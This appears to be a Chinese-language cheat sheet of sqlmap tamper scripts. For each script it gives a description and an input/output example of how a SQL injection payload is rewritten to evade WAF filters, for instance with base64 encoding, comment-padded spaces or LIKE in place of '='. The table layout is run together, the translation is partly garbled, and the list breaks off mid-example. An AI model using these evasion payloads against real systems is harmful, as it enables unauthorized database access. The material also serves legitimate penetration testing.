支持的数据库编号脚本名称作用实现方式all1apostrophemask.py用utf8代替引号("1 AND '1'='1") '1 AND ＇1＇=＇1' 2base64encode.py 用base64编码替换("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw=='3multiplespaces.py围绕SQL关键字添加多个空格('1 UNION SELECT foobar') '1 UNION SELECT foobar'4space2plus.py用+替换空格('SELECT id FROM users') 'SELECT+id+FROM+users'5nonrecursivereplacement.py双重查询语句。取代predefined SQL关键字with表示 suitable for替代（例如 .replace（“SELECT”、”")） filters('1 UNION SELECT 2--') '1 UNIOUNIONN SELESELECTCT 2--'6space2randomblank.py代替空格字符（“”）从一个随机的空 白字符可选字符的有效集('SELECT id FROM users') 'SELECT
id
FROM
users'7unionalltounion.py替换UNION ALL SELECT UNION SELECT('-1 UNION ALL SELECT') '-1 UNION SELECT'8securesphere.py追加特制的字符串('1 AND 1=1') "1 AND 1=1 and '0having'='0having'"mssql1space2hash.py绕过过滤‘=’ 替换空格字符（”），（’ – ‘）后跟一个破折号注释，一个随机字符串和一个新行（’ n’） '1 AND 9227=9227' '1--nVNaVoPYeva
AND--ngNvzqu
9227=9227' 2equaltolike.pylike 代替等号 * Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1 3space2mssqlblank.py(mssql)空格替换为其它空符号Input: SELECT id FROM users Output: SELECTidFROMusers4space2mssqlhash.py替换空格('1 AND 9227=9227') '1#
AND#
9227=9227'5between.py用between替换大于号（>）('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--'6percentage.pyasp允许每个字符前面添加一个%号* Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L
